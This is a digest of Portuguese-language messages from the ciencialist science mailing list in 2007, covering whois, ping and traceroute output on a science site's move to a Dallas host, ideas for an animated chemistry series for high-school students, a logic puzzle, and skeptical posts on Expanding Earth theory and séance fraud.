nic-hdl-br: LFN103
person: Luiz Ferraz Netto
e-mail: leobarretos@uol.com.br
created: 20030707
changed: 20030707

% Security and mail abuse issues should also be addressed to
% cert.br, http://www.cert.br/, respectivelly to cert@cert.br
% and mail-abuse@cert.br
%
% whois.registro.br accepts only direct match queries. Types
% of queries are: domain (.br), ticket, provider, ID, CIDR
% block, IP and ASN.

chekini:~# ping dns1.ultrawindows.com.br
PING dns1.ultrawindows.com.br (208.101.6.208) 56(84) bytes of data.
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=6
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=7
ttl=114 time=175 ms

--- dns1.ultrawindows.com.br ping statistics ---
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chekini:~# ping www.feiradeciencias.com.br
PING feiradeciencias.com.br (208.101.5.18) 56(84) bytes of data.
64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
icmp_seq=1 ttl=114 time=203 ms
64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
icmp_seq=2 ttl=114 time=217 ms
64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
icmp_seq=3 ttl=114 time=263 ms
64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
icmp_seq=4 ttl=114 time=255 ms
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icmp_seq=5 ttl=114 time=209 ms

--- feiradeciencias.com.br ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 203.018/229.812/263.580/24.859 ms
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3 embratel-G3-0-gacc03.bsa.embratel.net.br (200.242.141.29) 10.583
ms 74.228 ms 49.739 ms
4 ebt-G6-0-dist04.bsa.embratel.net.br (200.244.165.136) 31.970 ms
62.084 ms 32.136 ms
5 ebt-P12-0-core01.spo.embratel.net.br (200.244.40.34) 45.671 ms
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6 ebt-G9-1-intl03.spo.embratel.net.br (200.230.0.53) 51.328 ms
27.238 ms 37.746 ms
7 ebt-ge-3-0-0-intl02.mianap.embratel.net.br (200.230.3.246)
182.858 ms 196.081 ms 171.475 ms
8 p4-2-1-0.r04.miamfl02.us.bb.gin.ntt.net (157.238.179.201) 180.879
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(157.238.179.197) 163.891 ms
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ms 185.722 ms 192.591 ms
13 * * *
14 *



Abraços
Tipoalgo





SUBJECT: Re: [ciencialist] Produção audiovisual sobre a Química
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 23:22

> Qual o público?
Alunos do ensino médio.


SUBJECT: Re: [ciencialist] Re: Produção audiovisual sobre a Química
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 23:37

Takata e demais, penso que os episódios devem estar entrelaçados e,
com isso em mente, acabei de fazer o seguinte esboço, explorando uma
abordagem do cosmológico ao cotidiano. Veja o que acham ...


Série: "Química em Todas as Direções", "A aventura da Química" ou o
"O Universo da Química!" {sugestões de nomes...}

Definição do objeto: Série em animação contendo três episódios, de 7 a
10 minutos.

Objetivo geral: Desenvolver o sentimento de maravilhamento pela
compreensão da Química em nossa cultura, em contraste à noção
perniciosa e insistente da Química como sinônimo artificialidade, e
explorando seus aspectos históricos, lúdicos e cotidianos.

Público-Alvo: Alunos de Química e Ciências afins do ensino médio.

Prazo de execução: 18 meses


Primeiro episódio: Do fogo das estrelas às primeiras fogueiras.

Objetivo: Ilustrar a origem dos elementos Químicos como ingredientes
básicos para a construção do universo, do homem e da vida.

A forja das estrelas - O berço da criação dos elementos Químicos. O
universo orgânico e a hipótese da "pan-espermia". Os átomos e
moléculas fundamentais – a simplicidade e complexidade da vida. A
informação genética e o surgimento de moléculas estáveis e
reprodutoras. Dos micro-organismos ao ser humano, a única espécie que
não teme o fogo.



Segundo episódio: Metalurgia, alquímia e o desabrochar da Química científica.

Objetivo: Demonstrar que a história da Química está intrinsecamente
ligada ao desenvolvimento da espécie humana, até os tempos atuais.

A fogueira e o deslumbramento da descoberta do cobre. A forja, o
ferreiro e o avanço da metalurgia. A relação mítica com a matéria: o
caldeirão alquímico. A cerâmica, os metais, os perfumes, os
condimentos, a moeda, o arado, os meios de produção e o acumulo de
bens. A formação da teoria atômica, a tabela periódica e as
definições/aplicações modernas da Química.



Terceiro episódio: Novas Fronteiras da Química e da CIência

Objetivo: Navegar pelas novas fronteiras da Química e da Ciência,
explorando a crise atual de valores e perspectivas futuras.

A Química Quântica. A bioquímica, a biotecnologia, a nanotecnologia. A
abordagem sistêmica - a questão ambiental e o conflito de interesses.
Novos paradigmas?


A roteirista já me disse que é utópico tudo isso, enfim...
Esteban.



Em 19/09/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
>
>
>
>
>
> História da química, biografia de químicos famosos.
>
> Do que são feitos os homens: De Demócrito à tabela periódica (e aos
> quarks e léptons).
>
> As surpreendentes propriedades da água (por q a água é um solvente
> universal? por q ela flutua qdo se congela? o q é o efeito Mpemba?...).
>
> Movendo o mundo: Como funciona uma pilha? E a usina nuclear? E a
> fotossíntese? E de onde vem a energia do petróleo?
>
> Uma questão de gosto: o faz os doces serem doces? e os adoçantes
> sintéticos são mesmo sem calorias? o q é o umami?
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> <estebanlmoreno@...> escreveu
> >
> > Colegas, estou tendo que propor uma produção audiovisual, com no
> > mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema
> > relevante da Química. O tipo da mídia pode ser qualquer um, mas
> > temos facilidade para a criação de desenhos animados.
> > Quem se habilita a sugerir um tema?
> > Abraços,
> > Esteban.
>
>


SUBJECT: Re: [ciencialist] FeiradeCiencias em Dallas!
FROM: "Emanuel Valente" <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 23:55

Sim, está em Dallas. O traceroute não falha.

http://uptime.netcraft.com/up/graph?site=feiradeciencias.com.br

[]s

Emanuel Valente

On 9/19/07, Tipoalgo <tipoalgo@gmail.com> wrote:
>
>
>
>
>
>
> Olá a todos!
>
> O site feiradeciencias foi para os US!
>
> Parabéns a todos nós bRaSiLeIrOs.
>
> Ou estou enganado?
>
> chekini:~# whois www.feiradeciencias.com.br
>
> % Copyright (c) Nic.br
> % The use of the data below is only permitted as described in
> % full by the terms of use (http://registro.br/termo/en.html),
> % being prohibited its distribution, comercialization or
> % reproduction, in particular, to use it for advertising or
> % any similar purpose.
> % 2007-09-19 22:54:21 (BRT -03:00)
>
> domain: feiradeciencias.com.br
> owner: Ferraz & Ferraz S/C Ltda
> ownerid: 001.969.707/0001-73
> responsible: Luiz Ferraz Neto
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> tech-c: FSO51
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> nic-hdl-br: FSO51
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> % Security and mail abuse issues should also be addressed to
> % cert.br, http://www.cert.br/, respectivelly to cert@cert.br
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> % whois.registro.br accepts only direct match queries. Types
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> ttl=114 time=175 ms
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> --- dns1.ultrawindows.com.br ping statistics ---
> 7 packets transmitted, 7 received, 0% packet loss, time 6016ms
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> icmp_seq=1 ttl=114 time=203 ms
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> icmp_seq=2 ttl=114 time=217 ms
> 64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
> icmp_seq=3 ttl=114 time=263 ms
> 64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
> icmp_seq=4 ttl=114 time=255 ms
> 64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
> icmp_seq=5 ttl=114 time=209 ms
>
> --- feiradeciencias.com.br ping statistics ---
> 5 packets transmitted, 5 received, 0% packet loss, time 4006ms
> rtt min/avg/max/mdev = 203.018/229.812/263.580/24.859 ms
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> (157.238.179.197) 163.891 ms
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> 13 * * *
> 14 *
>
> Abraços
> Tipoalgo
>
>


SUBJECT: Re: [ciencialist] FeiradeCiencias em Dallas!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/09/2007 06:23

Se eu soubesse o que significa isso tudo daria minhas opiniões, todavia, não posso Dallas!

Todavia, pelo que sei, o Imperdível! está hospedado em Saint Paul City (Ultra Space Web Hosting) e, devido aos 20 e tantos dias 'de molho' off-line, tive que esperar dois dias para acumular 72.600 consultas!
Espero que descubram logo que voltamos on-line. Uns 15 artigos novos estão em 'área restrita' aos amigos-colaboradores (já tive 5 depósitos de R$5,00/semestre --- assim, até janeiro já posso esbanjar R$25,00! --- esses colaboradores já receberam a 'chave' de consulta integral.).
Hoje vou começar a escrever sobre o ajustamento de curvas, reta de mínimos quadrados, anamorfose e coisas estranhas --- eu chamaria de ET-cétera.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
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-----Mensagem Original-----
De: "Emanuel Valente" <emanuelvalente@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 19 de setembro de 2007 23:55
Assunto: Re: [ciencialist] FeiradeCiencias em Dallas!


Sim, está em Dallas. O traceroute não falha.

http://uptime.netcraft.com/up/graph?site=feiradeciencias.com.br

[]s

Emanuel Valente

On 9/19/07, Tipoalgo <tipoalgo@gmail.com> wrote:
>
>
>
>
>
>
> Olá a todos!
>
> O site feiradeciencias foi para os US!
>
> Parabéns a todos nós bRaSiLeIrOs.
>
> Ou estou enganado?
>
> chekini:~# whois www.feiradeciencias.com.br
>
> % Copyright (c) Nic.br
> % The use of the data below is only permitted as described in
> % full by the terms of use (http://registro.br/termo/en.html),
> % being prohibited its distribution, comercialization or
> % reproduction, in particular, to use it for advertising or
> % any similar purpose.
> % 2007-09-19 22:54:21 (BRT -03:00)
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> domain: feiradeciencias.com.br
> owner: Ferraz & Ferraz S/C Ltda
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> e-mail: leobarretos@uol.com.br
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> % Security and mail abuse issues should also be addressed to
> % cert.br, http://www.cert.br/, respectivelly to cert@cert.br
> % and mail-abuse@cert.br
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> 64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=2
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>
> --- feiradeciencias.com.br ping statistics ---
> 5 packets transmitted, 5 received, 0% packet loss, time 4006ms
> rtt min/avg/max/mdev = 203.018/229.812/263.580/24.859 ms
> chekini:~# traceroute www.feiradeciencias.com.br
> traceroute to feiradeciencias.com.br (208.101.5.18), 30 hops max, 40
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> (157.238.179.197) 163.891 ms
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> 10 po-2.r03.dllstx09.us.bb.gin.ntt.net (129.250.4.38) 183.464 ms
> 190.370 ms 237.111 ms
> 11 te7-1.cer01.dal01.dallas-border.com (157.238.228.10) 215.174 ms
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> 12 po51.fcr01.dal01.dallas-datacenter.com (66.228.118.150) 277.608
> ms 185.722 ms 192.591 ms
> 13 * * *
> 14 *
>
> Abraços
> Tipoalgo
>
>


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SUBJECT: Re: [ciencialist] FeiradeCiencias em Dallas!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/09/2007 06:35

Detalhe:

>created: 19991214 #232181
>expires: 20071214

Em 14 de dezembro de 2007 estarei comemorando 8 anos on-line! E, somando os dois contadores que o site já teve, mais o atual, estaremos com 100 milhões de consultas às páginas do site! Tá de bom tamanho, pois meu carimbo de validade de vida ......

aquele abraço,

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
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-----Mensagem Original-----
De: "Tipoalgo" <tipoalgo@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 19 de setembro de 2007 23:19
Assunto: [ciencialist] FeiradeCiencias em Dallas!


Olá a todos!

O site feiradeciencias foi para os US!

Parabéns a todos nós bRaSiLeIrOs.

Ou estou enganado?

chekini:~# whois www.feiradeciencias.com.br

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% 2007-09-19 22:54:21 (BRT -03:00)

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admin-c: FSO51
tech-c: FSO51
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person: Fernando Silva de Oliveira
e-mail: fapesp@ultraespaco.com
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changed: 20050612

nic-hdl-br: LFN103
person: Luiz Ferraz Netto
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% and mail-abuse@cert.br
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% of queries are: domain (.br), ticket, provider, ID, CIDR
% block, IP and ASN.

chekini:~# ping dns1.ultrawindows.com.br
PING dns1.ultrawindows.com.br (208.101.6.208) 56(84) bytes of data.
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=2
ttl=114 time=175 ms
64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=3
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=4
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=5
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=6
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64 bytes from dns1.ultrawindows.com.br (208.101.6.208): icmp_seq=7
ttl=114 time=175 ms

--- dns1.ultrawindows.com.br ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6016ms
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chekini:~# ping www.feiradeciencias.com.br
PING feiradeciencias.com.br (208.101.5.18) 56(84) bytes of data.
64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
icmp_seq=1 ttl=114 time=203 ms
64 bytes from ultrawindows1.ultraespaco.com.br (208.101.5.18):
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icmp_seq=3 ttl=114 time=263 ms
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--- feiradeciencias.com.br ping statistics ---
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3 embratel-G3-0-gacc03.bsa.embratel.net.br (200.242.141.29) 10.583
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7 ebt-ge-3-0-0-intl02.mianap.embratel.net.br (200.230.3.246)
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9 p64-1-1-0.r20.dllstx09.us.bb.gin.ntt.net (129.250.4.142) 218.985
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10 po-2.r03.dllstx09.us.bb.gin.ntt.net (129.250.4.38) 183.464 ms
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11 te7-1.cer01.dal01.dallas-border.com (157.238.228.10) 215.174 ms
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12 po51.fcr01.dal01.dallas-datacenter.com (66.228.118.150) 277.608
ms 185.722 ms 192.591 ms
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Abraços
Tipoalgo





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SUBJECT: Re: [ciencialist] Re: Produ��o audiovisual sobre a Qu�mica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/09/2007 07:10

Nada modestamente recomendo leitura em:

Coisas da Química - Breve Histórico
CQ01- Coisas no ar (Parte 1- Da alquimia á química)
CQ02- Coisas no ar (Parte 2- Da alquimia á química)
CQ03- Coisas no ar (Parte 3 - Os primeiros sintéticos)
CQ04- Coisas no ar (Parte 4 - Novos nomes às coisas velhas)
CQ05- Coisas no ar (Parte 5 - Ar fixo, deflogistificado etc.)
CQ06- Coisas no ar (Parte 6 - A Química torna-se uma Ciência)
CQ07- Coisas do átomo (Parte 1- Primeiras leis)
CQ08- Coisas do átomo (Parte 2- Metais na Eletricidade)
CQ09- Coisas do átomo (Parte 3- O profeta siberiano)
CQ10- Coisas do átomo (Parte 4- O ajudante do químico)
CQ11- Coisas do átomo (Parte 5- Dos isômeros aos nobres)
CQ12- Calor de Reação (Parte 01)
CQ13- Calor de Reação (Parte 02)
CQ14- Calor de Reação (Parte 03)
CQ15- Os sentidos das reações (Parte 01)
CQ16- Os sentidos das reações (Parte 02)

tirado do Index da Sala 21.

Por outro lado, comentando sua mensagem, [ ... em contraste à noção perniciosa e insistente da Química como sinônimo de artificialidade, ...], vc quer coisa mais 'artificial' do que aquelas produzidas pela química?
Quão natural é o aspartame? a margarina? os conservantes? os plásticos? ET-cétera.

Química é bonita justamente pela sua artificialidade! Até o natural provém de artifícios! A obtenção do O2, N2, H2, Al, Cu etc., em laboratório, usa artifícios maravilhosos para a obtenção do 'produto natural' final! Essas primorosas técnicas devem ser destacadas ao público do ensino médio. Eu colocaria em destaque o trabalho do químico num laboratório (através de animações). Que faz um químico fora do laboratório? Enche o saco da gente para entender a teoria da balança de Mohr-Westphal? Para equacionar o picnômetro?
Quanto aos nomes "Química em todas as direções' é coisa de geometria; "Aventura da Química" é coisa de Batman e "Universo da Química" é o 'universo da física', o 'universo da astronomia', o 'universo de tudo mais que conhecemos'; afinal, quantos universos temos! Ah! tem o universo das artes, da música ...
Que tal "Coisas da Química"? ou "Atenção! Química é evolução!" ou "Adeus ao flogístico!" ou "Química ... a olaria de base" (e aqui, explique aos alunos os, 'tijolos' da construção do universo, do homem e da vida).

Bem, como não sou químico ...
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
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-----Mensagem Original-----
De: "Esteban Moreno" <estebanlmoreno@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 19 de setembro de 2007 23:37
Assunto: Re: [ciencialist] Re: Produção audiovisual sobre a Química


Takata e demais, penso que os episódios devem estar entrelaçados e,
com isso em mente, acabei de fazer o seguinte esboço, explorando uma
abordagem do cosmológico ao cotidiano. Veja o que acham ...


Série: "Química em Todas as Direções", "A aventura da Química" ou o
"O Universo da Química!" {sugestões de nomes...}

Definição do objeto: Série em animação contendo três episódios, de 7 a
10 minutos.

Objetivo geral: Desenvolver o sentimento de maravilhamento pela
compreensão da Química em nossa cultura, em contraste à noção
perniciosa e insistente da Química como sinônimo artificialidade, e
explorando seus aspectos históricos, lúdicos e cotidianos.

Público-Alvo: Alunos de Química e Ciências afins do ensino médio.

Prazo de execução: 18 meses


Primeiro episódio: Do fogo das estrelas às primeiras fogueiras.

Objetivo: Ilustrar a origem dos elementos Químicos como ingredientes
básicos para a construção do universo, do homem e da vida.

A forja das estrelas - O berço da criação dos elementos Químicos. O
universo orgânico e a hipótese da "pan-espermia". Os átomos e
moléculas fundamentais - a simplicidade e complexidade da vida. A
informação genética e o surgimento de moléculas estáveis e
reprodutoras. Dos micro-organismos ao ser humano, a única espécie que
não teme o fogo.



Segundo episódio: Metalurgia, alquímia e o desabrochar da Química científica.

Objetivo: Demonstrar que a história da Química está intrinsecamente
ligada ao desenvolvimento da espécie humana, até os tempos atuais.

A fogueira e o deslumbramento da descoberta do cobre. A forja, o
ferreiro e o avanço da metalurgia. A relação mítica com a matéria: o
caldeirão alquímico. A cerâmica, os metais, os perfumes, os
condimentos, a moeda, o arado, os meios de produção e o acumulo de
bens. A formação da teoria atômica, a tabela periódica e as
definições/aplicações modernas da Química.



Terceiro episódio: Novas Fronteiras da Química e da CIência

Objetivo: Navegar pelas novas fronteiras da Química e da Ciência,
explorando a crise atual de valores e perspectivas futuras.

A Química Quântica. A bioquímica, a biotecnologia, a nanotecnologia. A
abordagem sistêmica - a questão ambiental e o conflito de interesses.
Novos paradigmas?


A roteirista já me disse que é utópico tudo isso, enfim...
Esteban.



Em 19/09/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
>
>
>
>
>
> História da química, biografia de químicos famosos.
>
> Do que são feitos os homens: De Demócrito à tabela periódica (e aos
> quarks e léptons).
>
> As surpreendentes propriedades da água (por q a água é um solvente
> universal? por q ela flutua qdo se congela? o q é o efeito Mpemba?...).
>
> Movendo o mundo: Como funciona uma pilha? E a usina nuclear? E a
> fotossíntese? E de onde vem a energia do petróleo?
>
> Uma questão de gosto: o faz os doces serem doces? e os adoçantes
> sintéticos são mesmo sem calorias? o q é o umami?
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> <estebanlmoreno@...> escreveu
> >
> > Colegas, estou tendo que propor uma produção audiovisual, com no
> > mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema
> > relevante da Química. O tipo da mídia pode ser qualquer um, mas
> > temos facilidade para a criação de desenhos animados.
> > Quem se habilita a sugerir um tema?
> > Abraços,
> > Esteban.
>
>


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Produção audiovisual sobre a Química
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/09/2007 12:21

> Por outro lado, comentando sua mensagem, [ ... em contraste à noção perniciosa e insistente da Química como sinônimo de artificialidade, ...], vc quer coisa mais 'artificial' do que aquelas produzidas pela química?
> Quão natural é o aspartame? a margarina? os conservantes? os plásticos? ET-cétera.
Química é bonita justamente pela sua artificialidade! Até o natural
provém de artifícios! A obtenção do O2, N2, H2, Al, Cu etc., em
laboratório, usa artifícios maravilhosos para a obtenção do 'produto
natural' final! Essas primorosas técnicas devem ser destacadas ao
público do ensino médio. (...)

Você tem toda razão, Leo.
Talvez devesse cutucar a visão popular de que tudo que é artificial é ruim.

> Que tal "Coisas da Química"? ou "Atenção! Química é evolução!" ou "Adeus ao flogístico!" ou "Química ... a olaria de base" (e aqui, explique aos alunos os, 'tijolos' da construção do universo, do homem e da vida).

Que tal: "Química das coisas" ou "Química está em tudo"?
Bom, quem vai decidir ao final são outros...
Um abraço,
Esteban.


SUBJECT: Probleminha de lógica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/09/2007 13:26

Não vale procurar no Google (não antes de tentar bastante).

"Você tem diante de si três alienígenas de espécies diferentes: Alf,
Borg e Chub-chub. Um deles fala apenas a verdade, outro apenas mentira
e o terceiro fala verdade e mentira em ordem aleatória: e você não
sabe qual diz o quê. Por coincidência de roteiro de Hollywood, os
alienígenas entendem a sua língua, mas só respondem 'zig' e 'zag'.
Você sabe que significa 'sim' e 'não', mas não sabe se 'sim' é 'zig' e
'não' é 'zag' ou se é o contrário.

Fazendo apenas três perguntas - cada pergunta pode ser feita apenas
uma vez e apenas para um deles (mas se pode fazer mais de uma pergunta
a qualquer um deles, nesse caso pelo menos um não será questionado) -
determine quem só diz a verdade, quem só diz mentiras e quem fala
verdade e mentira de modo aleatório."

[]s,

Roberto Takata



SUBJECT: Sensacional: a Terra dobrou de tamanho?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, sbcr@yahoogroups.com
DATE: 20/09/2007 16:45

Sensacional: a Terra dobrou de tamanho?
<http://100nexos.com/arquivo/291>Assista
ao v�deo <http://100nexos.com/arquivo/291>

Uma p�rola pouco conhecida indicada por Beto Santana na lista
CA<http://br.groups.yahoo.com/group/ceticismoaberto/>:
a Teoria da Terra em
Expans�o<http://en.wikipedia.org/wiki/Growing_Earth_Theory>.
Diz ela que os continentes n�o apenas se encaixam perfeitamente no
Atl�ntico, como tamb�m o fazem no Pac�fico e em todos os outros mares. E, se
voc� juntar a todos, jogando fora os leitos de oceanos, ter� uma esfera
perfeitamente encaixada em suas pe�as de continentes, com aproximadamente
metade do tamanho do planeta atual. *Conclus�o*: nos �ltimos milh�es de
anos, ao inv�s de um
supercontinente<http://pt.wikipedia.org/wiki/Pang%C3%A9ia>ter se
separado e as placas
tect�nicas <http://pt.wikipedia.org/wiki/Tect%C3%B4nica_de_placas> terem se
movido formando o mundo que conhecemos, a Terra anda se expandindo. Teria
quase dobrado de tamanho desde a �poca dos dinossauros.
Com base nesse "fato", diversas id�ias surgiram para explicar como nosso
planeta estaria crescendo a taxas t�o assustadoras. A mais ador�vel � a de
Neal Adams, principal proponente da Teoria da Terra em Expans�o. Ele criou
toda uma nova f�sica segundo a qual mat�ria estaria sendo constantemente
gerada no interior dos planetas e estrelas, assim como o Universo em
expans�o. Adams tamb�m rejeita a gravidade, propondo que os movimentos
celestes se deveriam ao magnetismo e aos n�cleos ferrosos de planetas
(objetos sem n�cleos ferrosos que ainda se mant�m em �rbitas s�o um detalhe
� parte). O fabuloso � que Adams, autor do v�deo acima, com qualidade
gr�fica evidente, � um ilustrador famoso e prestigiado de revistas em
quadrinhos <http://en.wikipedia.org/wiki/Neal_Adams>. Compara��es com
Galileu e, mais modestas, com Alfred
Wegener<http://pt.wikipedia.org/wiki/Alfred_Wegener>n�o poderiam
faltar nas muitas
p�ginas pela rede com a teoria e suas
variantes<http://www.google.com/search?q=expanding+earth>
.
Rid�cula como possa parecer, essa teoria apresenta uma perspectiva
fascinante sobre o desenvolvimento da ci�ncia. Alfred Wegener, como se sabe,
� um exemplo muito citado de "Galileu moderno". E muito moderno: a aceita��o
da deriva dos continentes proposta pelo meteorologista alem�o s� se tornou
universal entre ge�logos h� algumas d�cadas � vejam, por exemplo, este
artigo em ingl�s na revista TIME de 1970 em que se noticia a "revolu��o na
geologia" <http://www.time.com/time/magazine/article/0,9171,943154,00.html>atrav�s
da aceita��o das id�ias b�sicas de Wegener.
E � interessante notar que embora Wegener tivesse avan�ado in�meras
evid�ncias de sua teoria, como f�sseis de uma mesma esp�cie distribu�dos em
continentes hoje afastados, tamb�m n�o tinha um mecanismo convincente para
explic�-la. Para ele, os continentes realmente estariam "� deriva" sobre o
planeta, movidos talvez pela "for�a centr�fuga" (!) do planeta em rota��o e
diferen�as de densidade. A falta de uma teoria convincente, mesmo plaus�vel,
era um dos principais obst�culos para a aceita��o de suas id�ias, e de fato,
elas s� foram aceitas amplamente na vers�o renovada das placas tect�nicas,
que finalmente forneceram uma explica��o razo�vel. O interior do planeta n�o
� completamente s�lido, estando em constante movimento, que acabam
explicando n�o s� a deriva dos continentes, como fen�menos como o vulcanismo
e terremotos.
Fato � que a despeito de copiosa evid�ncia, por d�cadas a falta de um
mecanismo convincente fez com que a evid�ncia fosse ignorada, sendo
for�osamente "explicada" de formas alternativas (como pontes de terra
antigas que ligariam a Am�rica do Sul � �frica). Justi�a seja feita, ao
mesmo tempo Wegener, apesar de ridicularizado, tamb�m obteve apoio e
aceita��o entre alguns acad�micos e institui��es estabelecidas, divulgou
suas id�ias amplamente e n�o morreu queimado em uma fogueira (ou em pris�o
domiciliar). A ci�ncia n�o � perfeita, mas n�o � t�o imperfeita quanto a
Inquisi��o.
Mas voltemos � Teoria da Terra em Expans�o. Mesmo ignorando os mecanismos
absurdos propostos, � preciso considerar que h� evid�ncias contr�rias �
proposta central de que a Terra teria aumentado significativamente de
tamanho e, conseq�entemente, de massa nos �ltimos milh�es de anos. A deriva
dos continentes n�o afetaria muito a �rbita da Terra e mesmo do resto do
sistema solar, mas uma Terra em expans�o sim. Mais: embora haja f�sseis de
uma esp�cie distribu�dos entre a Am�rica do Sul e �frica, evidenciando uma
proximidade antiga, n�o parece ocorrer o mesmo com a Austr�lia e a Am�rica
do Norte, que segundo se alega, estariam conectados tamb�m.

Tamb�m h� problemas com evid�ncia de forma��es geol�gicas vistas em
continentes que ap�iam a Pang�ia, mas podem contrariar um "planeta
continente", como forma��es de rochas glaciares na �frica e de carv�o em
pr�ximas dos p�los.
Feitas todas estas ressalvas, ainda resta o aparente encaixe dos continentes
no outro lado do mundo. Este parece sim curioso, e seria interessante
verificar se Adams e outros realmente n�o andam distorcendo tamanhos e
formas arbitrariamente para for�ar tal encaixe. Caso n�o o fa�am, este
elemento isolado seria sim sensacional, e poderia ser uma coincid�ncia
fascinante, ou mesmo resultado de algum processo ainda desconhecido.
De tudo isto, o mais curioso talvez seja lembrar que se a id�ia de uma Terra
em expans�o hoje pare�a esp�ria, h� pouco mais de cem anos a id�ia de
uma *Terra
em Contra��o* n�o o era para muitos cientistas
respeitados<http://www.gsajournals.org/perlserv/?request=get-document&issn=1052-5173&volume=013&issue=02&page=0020&ct=1>.
A proposta seria de que a Terra, originalmente formada por material quente e
derretido, estaria se esfriando e no processo, se
contraindo<http://www.bbm.me.uk/portsdown/PH_061_History_a.htm#contract>.
Cadeias montanhosas seriam formadas nessa contra��o um tanto como rugas de
bal�es murchando. Embora nunca tenha sido amplamente aceita, e nenhuma
contra��o t�o significativa quanto a metade do tamanho do planeta tenha sido
proposta, a id�ia do ge�logo americano Dana foi relativamente bem recebida,
ao contr�rio das do meteorologista alem�o Wegener. Apesar da aus�ncia de
ampla evid�ncia, e talvez por causa de um mecanismo proposto mais plaus�vel.
T�o plaus�vel que � a explica��o aceita hoje para forma��es geol�gicas em um
outro planeta, Merc�rio.
S�o imperfei��es da ci�ncia, que ainda � sem d�vida o campo que permitiu a
maior expans�o do conhecimento humano em toda sua hist�ria. O pr�prio
Wegener, t�o certo, mas tamb�m um tanto errado, confiava ultimamente no
mesmo processo cient�fico e estava seguro de que um dia suas id�ias seriam
aceitas. Estava certo nisto.

*Veja tamb�m:*
Baleia em tamanho real <http://100nexos.com/arquivo/288> Veja em seu monitor
uma baleia em tamanho real. &...
Diagrama em corte de um tanque
<http://100nexos.com/arquivo/201>Sensacional: clique na figura para
ver como um li...
Cortando uma pessoa ao meio, do jeito mais
f�cil<http://100nexos.com/arquivo/228>� primeira vista um truque de
m�gic...
Camila Pitanga <http://100nexos.com/arquivo/247> "Acho que Deus � uma
fic��o....
Naica, mina dos cristais gigantes do
Super-homem<http://100nexos.com/arquivo/174>A
imagem ao lado n�o � uma fotomonta...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Fraudes em sessões espíritas: o Campo Chesterfield
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, sbcr@yahoogroups.com, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 20/09/2007 19:50

Fraudes em sess�es esp�ritas: o Campo
Chesterfield<http://www.ceticismoaberto.com/news/?p=998>Assista
ao v�deo <http://www.ceticismoaberto.com/news/?p=998>

Do excelente BadPsychics.com <http://badpsychics.com/>, o v�deo acima
apresenta logo no in�cio breves trechos do filme expondo as fraudes do "Camp
Chesterfield", um retiro espiritualista que realizava sess�es esp�ritas com
materializa��es em pleno s�culo XX.
Em 1960, Tom O'Neil, editor do boletim "Psychic Observer", e Andrija
Puharich, mais conhecido por seu envolvimento posterior com Uri Geller,
resolveram investigar melhor o campo. Nenhum dos dois pode ser classificado
como c�tico, e sua id�ia era utilizar uma tecnologia que havia acabado de se
tornar mais acess�vel, o filme em infravermelho, para registrar melhor as
